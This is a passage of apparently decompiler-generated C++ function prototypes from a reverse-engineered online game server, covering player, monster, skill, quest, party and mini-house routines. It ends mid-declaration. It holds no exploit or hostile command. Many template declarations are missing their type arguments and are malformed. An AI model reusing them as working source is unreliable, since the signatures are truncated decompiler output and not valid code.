ShineObjectClass::ShineMob::so_mob_SetLifeTime(int this, int Time); void __cdecl ShineObjectClass::ShineMob::sm_DamageSet(#434 *, char *, char *, char *, char *, char *, char *, char *, char *, char *, char *); void __thiscall ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed(int this, int unSpeed); int __thiscall ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(int this); int __thiscall ShineObjectClass::ShinePlayer::smo_CaptivateStateTask(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime(int this, char bValue); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsNormalAttack(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendAutoPickToClient(void *this, char bEnable); char __thiscall ShineObjectClass::ShinePlayer::sp_SaveAutoPick(int this, char bEnable); char __thiscall ShineObjectClass::ShinePlayer::sp_GetAutoPick(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_OutMap_AndSendErrorMsg(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_In_MapAndSendErrorMsg(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GtItemEffectMsg(void *this, __int16 nIndexID); void __thiscall ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(int this); int __thiscall ShineObjectClass::ShinePlayer::so_SetAutoSaveTime(int this, int tCurrentTime, int NextTime); signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_SetMysteryVaultUI(int this, char val); int __thiscall ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(int this, int ChatBan); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_SpamSendDataToCharDB(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSetBlock(void *this, unsigned int CurrentTime); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendDataToWM(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_SingleOptionSave2World(void *this); std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Min(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode); char __thiscall ShineObjectClass::ShinePlayer::sp_SpamCheck(void *this); void __thiscall std::_Tree_std::allocator>_1>>::const_iterator::_Inc(std::_Tree,std::allocator >,0> >::const_iterator *this); void __thiscall ShineObjectClass::ShinePlayer::smo_SetCaptivate(void *this, char bValue); SHINE_XY_TYPE *__thiscall std::vector>::_Ufill(std::vector > *this, SHINE_XY_TYPE *_Ptr, unsigned int _Count, SHINE_XY_TYPE *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ShineObjectClass::ListUp *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); ShineObjectClass::ListUp *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); bool __cdecl _ErrorSendPlayer(#325 *, int, const char *); int __thiscall ShineObjectClass::ShinePlayer::sp_SetAutoPick(_DWORD, _DWORD); // weak void __thiscall std::vector>::push_back(std::vector > *this, ShineObjectClass::ListUp *_Val); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ(int this, int netcmd, int len, __int16 handle); // void __usercall ShineObjectClass::ShinePlayer::sp_MysteryVaultMakeItem(int a1, int a2, int itm, int pError); bool __thiscall FieldMap::fm_IsInFieldSize(int this, int xy); void __thiscall SkillCastFinish::scf_Routine(SkillCastFinish *this, #434 *sp); void __thiscall CeaseFireSender::cfs_Send(CeaseFireSender *this); void __thiscall CeaseFireSender::cfs_Routine(CeaseFireSender *this, #434 *sp); void __thiscall AxialListMagicFieldDamage::AxialListMagicFieldDamage(AxialListMagicFieldDamage *this, ShineObjectClass::ShineMagicField::MagicFieldOwnerInform *owner, char battlefield, char guildwar, SHINE_XY_TYPE *center); void __thiscall AxialListMagicFieldDamage::_AxialListMagicFieldDamage(AxialListMagicFieldDamage *this); void __thiscall AxialListRescueRequest::AxialListRescueRequest(AxialListRescueRequest *this, #325 *, MobRace, int, char); void __thiscall AxialListRescueRequest::_AxialListRescueRequest(AxialListRescueRequest *this); int __thiscall ShineObjectClass::ShineMob::so_GetTargetInfo(int this, int a2); char __thiscall ListIteratorDefault::lid_Call(ListIteratorDefault *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_ply_BanByServerDisconnect(int this, int lst, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun(int this, int xy, __int16 com, int flag); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInFear(int this); void __thiscall ShineObjectClass::ShineDropItem::so_relink(ShineObjectClass::ShineDoor *this, int flag); int __thiscall ShineObjectClass::ShineMob::so_relink(void *this, int flag); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall SlantedListNormalizer::_SlantedListNormalizer(SlantedListNormalizer *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(void *this, int mob); void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(void *this, unsigned __int8 reference, unsigned __int16 type, int value); char __thiscall ShineObjectClass::ShineEffectObject::so_Routine(ShineObjectClass::ShineEffectObject *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineDoor::so_Routine(ShineObjectClass::ShineDoor *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineMiniHouse::so_Routine(ShineObjectClass::ShineMiniHouse *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineObject::so_drpitm_BriefInfo(#325 *this, #325 *, unsigned int); char __thiscall AxialListMagicFieldDamage::alns_ValidObject(AxialListMagicFieldDamage *this, #325 *obj); void __thiscall AxialListMagicFieldDamage::almfd_ApplyDamage(AxialListMagicFieldDamage *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower); char __thiscall ShineObjectClass::ShineMagicField::so_Routine(ShineObjectClass::ShineMagicField *this, List *lst, unsigned __int16 handle); char __thiscall AxialListRescueRequest::ali_Work(AxialListRescueRequest *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShineMob::sm_Scream4Rescue(#325 *, int, int, char); char __thiscall ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe(#325 *this, #325 *, unsigned int); void __thiscall ShineObjectClass::ShineMob::so_RescueRoutine(void *this); void __thiscall ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime(void *this, __int16 skl, int sec); void __thiscall ShineObjectClass::ShineMobileObject::smo_RunInFear(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_MoveByServer(void *this, int xy, __int16 someone, int me, int mm, int flag); ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck(ShineObjectClass::ShinePlayer::TimeScheduler *this, #434 *sp); void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler(ShineObjectClass::ShinePlayer::TimeScheduler *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemActivCheck(void *this, int a2, __int16 a3); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemDelete(void *ecx0, ItemInform_ActionItem *this, __int16 a3, __int16 a4, int a5); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet(void *this, int mob); char __fastcall ShineObjectClass::ShineMobileObject::so_Routine(int a1, int lst, __int16 handle); char __thiscall ShineObjectClass::ShineNPC::so_Routine(ShineObjectClass::ShineNPC *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineDropItem::so_Routine(ShineObjectClass::ShineDropItem *this, List *lst, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_House(void *this); void __thiscall ShineObjectClass::ShineMob::sm_DuringRecover(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck(void *this, int a2, __int16 a3); void __thiscall ShineObjectClass::ShineMob::sm_DuringBattle(void *this); int __thiscall ShineObjectClass::ShineMob::so_Routine(_DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineServant::so_Routine(ShineObjectClass::ShineServant *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineBandit::so_Routine(ShineObjectClass::ShineBandit *this, List *lst, unsigned __int16 handle); void __thiscall std::vector>::_Xran(std::vector > *this); char __thiscall ShineObjectClass::ShineAxialFlag::so_Routine(ShineObjectClass::ShineAxialFlag *this, List *lst, unsigned __int16 handle); int __thiscall ShineObjectClass::ShineMob::so_mobile_GetGuildRegnum(int this); void __thiscall ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear(ShineObjectClass::ShinePlayer::PartyMemberInform *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendHPinform(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendSPinform(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_partylogout(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_partymemberlogin(void *this, int member); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(void *this, int camp); char __thiscall ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(void *this, int ride); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo(void *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable(void *this, int efftype); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUpdate(int pDBAck); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUse(int pFurnitureEndureKitUseReq); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_ADD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MINIHOUSE_EFFECT_DEMANDGOOD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionInfo(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotion(int this, __int16 nFurnitureHnd); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionPosition(int this, __int16 nFurnitureHnd, char nPosition); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionNo(int this, char nEmotionNo); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotion(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionPosition(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionNo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotion(int this, __int16 nFurnitureHnd); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionPosition(int this, char nPosition); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionNo(int this, char nEmotionNo); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetNextFurnitureHandle(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineObject::so_mobile_ICanDamageTo(#325 *this, #325 *, char *); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetActiveMH(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(int this, __int16 MHRegNum); signed __int16 __cdecl ShineObjectClass::ShineObject::so_CurrentTargetHandle(); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetMyHandle(int this); int __thiscall CharClass::AC(ItemAttributeClass *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime); #325 *__thiscall ShineObjectClass::ShinePlayer::so_mh_GetMinihouse(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(int this, int pEvent); int __thiscall ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(int this); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryMiniHouseEntrance *content); void __thiscall GameDBSession::gds_NC_ITEMDB_FURNITURE_ENDURE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle); char *__thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseGetMHInfo(void *this); void __stdcall ShineObjectClass::ShineObject::registerObsersver(int observer); int __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_IsEmpty(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(void *this); std::vector >::iterator *__cdecl std::find>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, Observer *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, Observer *_Val); std::vector >::iterator *__cdecl std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, has_same_master _Pred); int std::_Copy_backward_opt>::iterator_std::deque>::iterator>(...); int std::_Copy_opt>::iterator_std::deque>::iterator>(...); std::vector >::iterator *__cdecl std::remove_if>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, has_same_master _Pred); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall std::deque>::pop_front(std::deque > *this); void __thiscall std::deque>::_Tidy(std::deque > *this); std::deque >::iterator *__thiscall std::deque>::erase(std::deque > *this, std::deque >::iterator *result, std::deque >::iterator _First, std::deque >::iterator _Last); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Routine(NormalAttackDamageDelay::NormalAttackDamageTick *this, #434 *attacker); int __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_TargetCompare(NormalAttackDamageDelay::NormalAttackDamageTick *this, unsigned int nTargetReg); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick(NormalAttackDamageDelay::NormalAttackDamageTick *this); std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersver(std::vector >::iterator this, Observer *observer); std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersvers(int this, has_same_master result); void __thiscall ShineObjectClass::ShinePlayer::notifyObservers(int this, int happen, int DwParam, int SDwParam); void __thiscall std::deque>::_Xlen(std::deque > *this); void __thiscall std::deque>::_Growmap(std::deque > *this, unsigned int _Count); void __thiscall std::deque>::push_back(std::deque > *this, NormalAttackDamageDelay::NormalAttackDamageElement *_Val); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PushBack(NormalAttackDamageDelay::NormalAttackDamageTick *this, int millisec, #325 *target, char attacksequance); void __thiscall std::vector>::push_back(std::vector > *this, Observer *_Val); void __thiscall ShineObjectClass::ShinePlayer::registerObsersver(void *this, Observer *observer); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::NormalAttackDamageTick(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall ShineQuestDiary::ShineQuestDiary(ShineQuestDiary *this); void __thiscall ShineQuestDiary::_ShineQuestDiary(ShineQuestDiary *this); void __cdecl ShineObjectClass::ShineObject::so_ply_QuestCheck(int qf, int a2, int a3, int mobinf); void __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestCheck(void *this, void (__thiscall *qf)(_DWORD, _DWORD, _DWORD, _DWORD), int a3, int a4, int mobinf); void __thiscall ShineQuestDiary::sqd_MobDead(ShineQuestDiary *this, #325 *, #325 *, MobDataBox::MobDataBoxIndex *); void __cdecl ShineObjectClass::ShineObject::so_ply_ItemLotChange(__int16 item, int delta); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotChange(void *this, int item, int delta); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_QUEST_DB_SET_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_CLEAR_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_GIVE_UP_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineRadian::ShineRadian(ShineRadian *this); int __thiscall ShineRadian::sr_sin1024(ShineRadian *this, int sr); int __thiscall ShineRadian::sr_cos1024(ShineRadian *this, int sr); int __thiscall ShineRadian::sr_degree2sr(ShineRadian *this, int deg); void __thiscall VectorClass::UnitVector::Rotation(VectorClass::UnitVector *this, int Radian); void __thiscall FanFormSectorArgument::_FanFormSectorArgument(FanFormSectorArgument *this); int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastSuccessPacket(int this); void __thiscall AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy(AxialListNearScanSkillEnemy *this); void __thiscall AxialListNearScanSkillParty::AxialListNearScanSkillParty(AxialListNearScanSkillParty *this); void __thiscall AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(AxialListNearScanSkillFriend *this); void __thiscall AxialListNearScanSkillParty::_AxialListNearScanSkillParty(AxialListNearScanSkillFriend *this); int __fastcall ShineObjectClass::ShineMob::so_mobile_Teleport(int a1, int Location, int Locationa, int a4); void __thiscall AxialListMagicFieldAggro::_AxialListMagicFieldAggro(AxialListMagicFieldAggro *this); __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastFail(int this, __int16 err); bool __thiscall SkillEffectApply::SkillBlastEffect::operator__(SkillEffectApply::SkillBlastEffect *this, SkillEffectApply::SkillBlastEffect *sbe); void __thiscall ShineObjectClass::ShinePlayer::smo_ChineCastCut(void *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueSkillErase *content); void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this); void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this, #325 *, #325 *); int __thiscall ShineObjectClass::ShineMobileObject::smo_old_skill_blast(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineMobileObject::smo_CastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_CastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); char __thiscall AxialListNearScanSkillEnemy::alns_ValidObject(AxialListNearScanSkillEnemy *this, #325 *obj); char __thiscall AxialListNearScanSkillParty::alns_ValidObject(AxialListNearScanSkillParty *this, #325 *obj); char __thiscall AxialListNearScanSkillFriend::alns_ValidObject(AxialListNearScanSkillFriend *this, #325 *obj); int __thiscall ShineObjectClass::ShineMobileObject::smo_ClearSkillResultBuffer_Miss(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(void *this, int idx, int targetpoint); void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport(); void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport(int Location); void __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_mobile_Teleport(int this, int Location); char __thiscall AxialListMagicFieldAggro::alns_ValidObject(AxialListMagicFieldAggro *this, #325 *obj); void __thiscall AxialListMagicFieldAggro::almfa_AppendAggro(AxialListMagicFieldAggro *this); void __thiscall ShineObjectClass::ShineMagicField::so_mgcfld_MagicFieldSpread(ShineObjectClass::ShineMagicField *this, unsigned __int16 hnd, #740 *caster, SkillDataBox::SkillDataIndex *idx, SHINE_XY_TYPE *targetlocate, SKILL_EMPOWER *emp); void __thiscall ShineObjectClass::ShinePlayer::sp_ReviveNow(void *this, unsigned __int16 healrate); char __thiscall ShineObjectClass::ShineObject::so_BroadcastBriefInfo(#325 *this, #325 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess(void *this); void __thiscall GameDBSession::gds_NC_SKILL_ERASE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall CharacterPassiveList::cpl_UnLearn(CharacterPassiveList *this, unsigned __int16 skill); MobExplosionElement::MobExplosionBase *__thiscall ShineObjectClass::ShineServant::ss_ExplosionReady(ShineObjectClass::ShineServant *this); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionBase::meb_Routine(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionEnemy::meb_Routine(MobExplosionElement::MobExplosionEnemy *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionTarget::meb_Routine(MobExplosionElement::MobExplosionTarget *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionAlways::meb_Routine(MobExplosionElement::MobExplosionAlways *this, ShineObjectClass::ShineServant *mob); void __thiscall ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_old_skill_blast(void *this, int idx, int a3, int skill, int empower); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(void *this, int sklidx, int a3, int loc, int casting_millisec); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(void *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(void *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_MagicFieldSpread(_DWORD); // weak void __thiscall ServerMenuFuncter::smfm_Revive(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); char __thiscall ShineObjectClass::ShineMob::sm_UseSkillSimple(void *this, int skillIndex, int a3, int loc); int __thiscall ShineObjectClass::ShineMobileObject::smo_Dispel(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __cdecl ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ(int netcmd, int len, __int16 handle); void __fastcall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ(int a1, int netcmd, int len, __int16 handle); void __thiscall CharaterSkillList::csl_UnLearn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall ShineObjectClass::ShinePlayer::so_UnlearnSkillAck(void *this, int ack); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall SkillEffectApply::SkillDamageSender::sds_TemplateStore(SkillEffectApply::SkillDamageSender *this, #740 *, SkillResultBuffer *, int, int, int, int); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlast(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall AxialListScanSkillTarget::alsst_SkillBlast(AxialListScanSkillTarget *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower, int num, MultiHitArgument *mha); void __fastcall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(int caster, int targetlocate, int empower); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(#325 *, SKILL_EMPOWER *); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(void *this, int targetlocate, SKILL_EMPOWER *empower, int sklidx); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(#325 *, SKILL_EMPOWER *, SkillDataBox::SkillDataIndex *); void __thiscall SkillEffectApply::SkillBlastEffect::sbe_BlastObject(SkillEffectApply::SkillBlastEffect *this); void __thiscall SkillEffectApply::SkillBlastEffect::sbe_BlastLocate(SkillEffectApply::SkillBlastEffect *this); int __cdecl SkillDataBox::sdb_compare(const void *a, const void *b); ABSTATEINDEX __thiscall SkillDataBox::sdb_load_IndexSearch(SkillDataBox *this, char *name); void __thiscall SkillDataBox::SkillDataIndex::sdi_SetAbstate(SkillDataBox::SkillDataIndex *this, int sub, char *statename, int strength, int rate); void __thiscall SkillDataBox::SkillDataIndex::sdi_Clear(SkillDataBox::SkillDataIndex *this); void __thiscall SkillDataBox::SkillDataIndex::sdi_SetArgument(SkillDataBox::SkillDataIndex *this, SkillSpecial ss, int arg); char __thiscall PassiveDataBox::sdb_Next(PassiveDataBox *this, int *sub); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall SkillDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall SkillDataBox::__unnamed::___unnamed(BinaryData *this); void __thiscall SkillDataBox::_SkillDataBox(SkillDataBox *this); void __thiscall SkillDataBox::sdb_Load(SkillDataBox *this, Name4 *world); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::GetSkillIndexByName(SkillDataBox *this, const char *pkName); void __thiscall PassiveDataBox::PassiveDataBox(PassiveDataBox *this); void __thiscall PassiveDataBox::pdb_Load(PassiveDataBox *this, Name4 *world); PassiveSkillInfo *__thiscall PassiveDataBox::sdb_Get(PassiveDataBox *this, int *sub); void __thiscall SkillDataBox::SkillDataBox(SkillDataBox *this); char __cdecl SlantedCoordList::operator<(SlantedCoordList::CoordedNode *a, 